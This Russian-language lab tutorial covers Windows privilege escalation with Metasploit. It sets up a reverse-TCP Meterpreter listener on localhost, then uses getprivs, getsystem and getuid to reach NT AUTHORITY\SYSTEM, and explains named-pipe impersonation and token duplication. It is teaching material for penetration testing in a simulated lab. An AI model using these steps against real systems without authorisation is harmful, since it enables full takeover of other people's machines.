Повышение привилегий с помощью getsystem в Meterpreter

Kali LinuxBeginner
Практиковаться сейчас

Введение

В области тестирования на проникновение получение первоначального доступа к целевой системе — это только начало. Часто первоначальная точка опоры представляет собой учетную запись пользователя с низкими привилегиями и ограниченными разрешениями. Чтобы получить полный контроль над системой, необходимо повысить свои привилегии до учетной записи более высокого уровня, такой как Administrator или, что еще лучше, NT AUTHORITY\SYSTEM в Windows. Этот процесс известен как повышение привилегий (privilege escalation).

Metasploit Framework предоставляет мощную пост-эксплуатационную полезную нагрузку под названием Meterpreter, которая включает универсальную команду getsystem, разработанную специально для этой цели. Эта команда автоматизирует различные методы повышения привилегий текущей сессии до наивысшего уровня.

В этой лаборатории вы войдете в роль злоумышленника, который уже получил базовую сессию Meterpreter на целевой системе Windows. Вы узнаете, как использовать команду getsystem для повышения своих привилегий и подтверждения нового уровня доступа.

Установление сессии Meterpreter на целевой системе Windows

На этом шаге мы симулируем получение сессии Meterpreter. Сначала нам нужно запустить консоль Metasploit Framework и настроить прослушиватель (listener) для "приема" входящего соединения с скомпрометированной машины.

Откройте терминал и запустите консоль Metasploit в тихом режиме, чтобы избежать вывода баннера.

msfconsole -q

Находясь в приглашении msfconsole, мы будем использовать универсальный модуль multi/handler. Этот модуль предназначен для обработки входящих соединений от различных полезных нагрузок (payloads).

use multi/handler

Далее нам нужно указать обработчику, какую полезную нагрузку ожидать. Для этой лаборатории мы будем использовать стандартную полезную нагрузку Meterpreter reverse TCP для Windows.

set payload windows/meterpreter/reverse_tcp

Нам также необходимо настроить IP-адрес (LHOST) и порт (LPORT) прослушивателя. Мы установим LHOST на 127.0.0.1 (localhost) и LPORT на 4444.

set LHOST 127.0.0.1
set LPORT 4444

Теперь запустите прослушиватель, выполнив команду exploit. Мы используем флаг -j, чтобы запустить его как фоновую задачу, что позволит сохранить приглашение msfconsole доступным для других команд.

exploit -j

Вы должны увидеть подтверждение того, что обработчик запущен.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Для этой лаборатории фоновый процесс теперь будет имитировать подключение скомпрометированной хост-системы Windows обратно к вам. Через несколько мгновений вы должны увидеть сообщение о том, что сессия Meterpreter была открыта.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49152) at YYYY-MM-DD HH:MM:SS +0000

Чтобы взаимодействовать с этой новой сессией, используйте команду sessions с флагом -i, за которым следует идентификатор сессии.

sessions -i 1

Ваше приглашение должно измениться на meterpreter>, указывая, что вы находитесь внутри сессии Meterpreter на целевой машине.

meterpreter >

Проверка текущих привилегий с помощью getprivs

На этом шаге, прежде чем пытаться повысить привилегии, крайне важно понять, какими привилегиями обладает наша текущая учетная запись пользователя. В Windows привилегии определяют, какие конкретные системные операции может выполнять пользователь, такие как отладка программ или завершение работы системы.

Meterpreter предоставляет команду getprivs для перечисления привилегий, связанных с текущим токеном процесса.

Теперь, когда вы находитесь в приглашении meterpreter>, выполните команду getprivs:

getprivs

Вывод перечислит все привилегии, которыми обладает текущий пользовательский процесс. Некоторые привилегии включены по умолчанию, в то время как другие могут быть отключены.

============================================================
Enabled Process Privileges
============================================================
  SeChangeNotifyPrivilege
  SeIncreaseQuotaPrivilege
  SeShutdownPrivilege
  SeTimeZonePrivilege
  SeUndockPrivilege

Этот вывод сообщает нам о наших текущих возможностях. Для работы многих техник повышения привилегий требуются определенные привилегии, такие как SeDebugPrivilege или SeImpersonatePrivilege. Просмотр этого списка помогает нам спланировать наши дальнейшие действия.

Попытка повышения привилегий до SYSTEM с помощью команды getsystem

На этом шаге мы будем использовать основную команду Meterpreter для повышения привилегий: getsystem. Эта команда представляет собой мощный скрипт, который автоматически пробует несколько различных техник для повышения привилегий сессии до NT AUTHORITY\SYSTEM.

Учетная запись NT AUTHORITY\SYSTEM является самой мощной учетной записью в системе Windows, обладающей практически неограниченным доступом ко всем ресурсам. Получение контроля над этой учетной записью часто является основной целью пост-эксплуатации.

Из вашего приглашения meterpreter> просто выполните команду getsystem:

getsystem

Meterpreter теперь попытается применить различные техники. В случае успеха вы увидите сообщение, указывающее, какая техника сработала. Наиболее распространенным успешным результатом является "Named Pipe Impersonation" (Перехват именованного канала).

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Если команда вернет сообщение об успехе, вы, вероятно, успешно повысили свои привилегии. Если команда завершится неудачно, это означает, что ни одна из автоматизированных техник не сработала в контексте текущего пользователя, что может быть связано с отсутствием необходимых привилегий или усиленной защитой системы. Для данной лаборатории ожидается, что команда завершится успешно.

Проверка новых привилегий с помощью getuid

На этом шаге, после выполнения getsystem, нам необходимо проверить, действительно ли были повышены наши привилегии. Простой способ сделать это — проверить идентификатор пользователя нашей текущей сессии.

Meterpreter предоставляет команду getuid для этой цели. Она запрашивает систему и возвращает имя пользователя, от имени которого в данный момент работает сервер Meterpreter.

В вашем приглашении meterpreter> выполните команду getuid:

getuid

Если команда getsystem была успешной, вывод теперь должен показать, что вы являетесь пользователем SYSTEM.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Видеть NT AUTHORITY\SYSTEM в качестве имени пользователя сервера — это окончательное подтверждение успешного повышения привилегий. Теперь у вас есть наивысший уровень контроля над целевой машиной. Если бы вы выполнили getuid до getsystem, вывод показал бы имя пользователя с низкими привилегиями, которое вы изначально скомпрометировали.

Обсуждение различных техник getsystem

На этом шаге мы рассмотрим, что происходит "за кулисами", когда вы запускаете getsystem. Эта команда — не одна волшебная функция; это скрипт, который перебирает список известных техник повышения привилегий в Windows.

Чтобы увидеть список доступных техник, вы можете использовать меню справки для команды getsystem, передав флаг -h.

getsystem -h

Это отобразит варианты использования и список техник, которые он может применить.

Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h   Help Banner.
    -t   The technique to use. (Default to trying all)

Techniques:
    0: All
    1: Named Pipe Impersonation (In Memory/Admin)
    2: Named Pipe Impersonation (Dropper/Admin)
    3: Token Duplication (Admin)

(Примечание: Количество и названия техник могут незначительно отличаться в разных версиях Metasploit.)

Кратко разберем, что означают эти техники:

  • Named Pipe Impersonation (In Memory/Admin) (Перехват именованного канала (в памяти/администратор)): Это метод по умолчанию и наиболее надежный. Он создает службу, которая запускается от имени SYSTEM, затем создает именованный канал, к которому подключается служба. Ваш процесс затем выдает себя за контекст безопасности этой службы, становясь SYSTEM. Все это происходит в памяти. Обычно для успеха требуются привилегии уровня Администратора.
  • Named Pipe Impersonation (Dropper/Admin) (Перехват именованного канала (дроппер/администратор)): Это похоже на первую технику, но включает в себя запись файла (DLL) на диск. Это менее скрытно и с большей вероятностью будет обнаружено антивирусным программным обеспечением.
  • Token Duplication (Admin) (Дублирование токена (администратор)): Эта техника находит процесс, который уже запущен от имени SYSTEM, крадет его токен доступа и применяет его к вашему текущему процессу. Для этого требуется SeDebugPrivilege, который позволяет вам инспектировать и отлаживать другие процессы.

По умолчанию getsystem пробует все доступные техники (-t 0), пока одна из них не окажется успешной. Понимание этих методов поможет вам устранять неполадки, когда getsystem завершается неудачно, и позволит вам вручную выбрать конкретную технику, если у вас есть больше информации о конфигурации целевой системы.

Резюме

В этой лабораторной работе вы успешно выполнили одну из наиболее важных задач пост-эксплуатации: повышение привилегий. Вы узнали, как использовать Metasploit Framework и его Meterpreter payload для повышения вашего доступа на целевой машине Windows от обычного пользователя до всемогущей учетной записи NT AUTHORITY\SYSTEM.

Вы прошли весь процесс, от настройки прослушивателя и установления сессии до проверки вашего конечного уровня доступа. В частности, вы использовали:

  • msfconsole для настройки прослушивателя.
  • getprivs для перечисления ваших начальных привилегий.
  • getsystem для автоматического повышения ваших привилегий.
  • getuid для подтверждения того, что вы стали NT AUTHORITY\SYSTEM.

Наконец, вы изучили различные техники, которые команда getsystem использует "под капотом". Эти знания бесценны для понимания того, почему команда может успешно или неуспешно работать в различных средах. Освоение повышения привилегий — это фундаментальный навык для любого пентестера, а getsystem — мощный инструмент в вашем арсенале.